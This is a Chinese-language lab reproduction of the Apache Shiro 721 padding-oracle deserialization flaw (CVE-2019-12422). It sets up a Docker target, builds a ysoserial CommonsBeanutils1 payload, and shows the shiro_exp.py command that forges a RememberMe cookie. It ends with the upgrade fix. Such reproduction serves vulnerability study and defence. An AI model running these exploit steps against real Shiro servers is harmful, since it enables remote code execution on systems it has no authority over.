Apache Shiro 721反序列化漏洞复现
漏洞原理
Shiro 的RememberMe Cookie使用的是 AES-128-CBC 模式加密。其中 128 表示密钥长度为128位，CBC 代表Cipher Block Chaining，这种AES算法模式的主要特点是将明文分成固定长度的块，然后利用前一个块的密文对当前块的明文进行加密处理。
这种模式的加密方式容易受到 Padding Oracle Attack 的影响。如果填充不正确，程序可能会以不同的方式响应，而不是简单的返回一个错误。然后攻击者可以利用这些差异性响应来逐个解密密文中的块，即使他们没有加密的密钥。
总之就有点类似于盲注，攻击者可以利用这一点来进行尝试不同的填充方式，精心构造RememberMe Cookie执行反序列化，无需知道RememberMe加密的密钥。
Shiro721 和 Shiro550 的差异？
Shiro721和Shiro550一样，都是生成恶意RememberMe Cookie反序列化执行代码，不同之处是RememberMe Cookie的生成方式。
shiro550 序列化利用需要知道AES加密的key，使用这个key直接构造Payload。
Shiro721 序列化是利用已登录用户的合法RememberMe Cookie值，通过服务器对填充密钥的不同响应，从而判断加密值是否被正确填充，构造Pyload。
复现
影响版本：Apache Shiro 1.2.5、1.2.6、1.3.0、1.3.1、1.3.2、1.4.0-RC2、1.4.0、1.4.1
环境搭建：
git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721
浏览器访问靶机 8080 端口：
使用已有用户登录，得到 RememberMe Cookie：
使用反序列化工具 ysoserial 生成Payload，利用链Payload选择 CommonsBeanutils1：
java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
这里使用其他师傅@3ND写的 shiro_exp.py 脚本，通过 Padding Oracle Attack 生成Rememberme Cookie:
python2 shiro_exp.py "http://192.168.88.150:8080/login.jsp" "Wd7Qotkee8tUDoziz3zSYud6BkDsHoFAhDGQ/ay2itmy6DRKk3/XCtlpN8DOr6NsVMvbpvEQeUG2+2nf86yHK52ugDzC9v7T0jF3a/SDg0rTpBsaFoJ7647C8sEhbsxno6pu/mpKWqg6Ii6zH/yUIJaRswCMEw/YWH5C36FeASHK8FOEl0CZyi1wcdgHlQAeaRH/U2vOv3Y0aMGkMf/D6Da9gofvfXLHx1TP3V6EyzO5Fnd/22H33oRLf5D/48b8uFfiA3QMzcaTML3U9foQRiSiYOp5Wr2ghBLU4HvqIM2YF7bIyAwWfr9+Zaa/JvwWjGYSbrXS0ay8G8oVP94ijDtVxXjLotx75eP0ahdXuO0AsEwe7a7nMgpwVStpz7igSBCjnJHeB5ZHEI6s7md30rltU99FtsjyOLBxYy6LryJTqmGokpk8sbbxch6Qefmx0xdob6/EFM8S0rn3mF48T0n6LfKlUZw3RjNG8B42Tba46k9gkvsFM40QJNNJWCp5" poc.ser
这个 exp 爆破时间有点长：
将得到的这个Rememberme Cookie替换到Cookie处发送：
需要注意的是，这里原本的JSESSIONID要删除掉，否则服务器不会进行反序列化操作。
进入到我们的靶机docker环境中，可以看到 /tmp/success 文件已经成功创建，利用成功。
修复方式
升级到 Shiro1.4.2 版本（Shiro1.4.2版本后，Shiro的加密模式由AES-CBC更换为AES-GCM）
参考文章：
https://github.com/inspiringz/Shiro-721
https://github.com/luckyfuture0177/VULOnceMore/blob/main/Java框架/CVE-2019-12422shiro-721Oracle填充攻击.md
https://issues.apache.org/jira/browse/SHIRO-721
若有错误，欢迎指正！o(￣▽￣)ブ
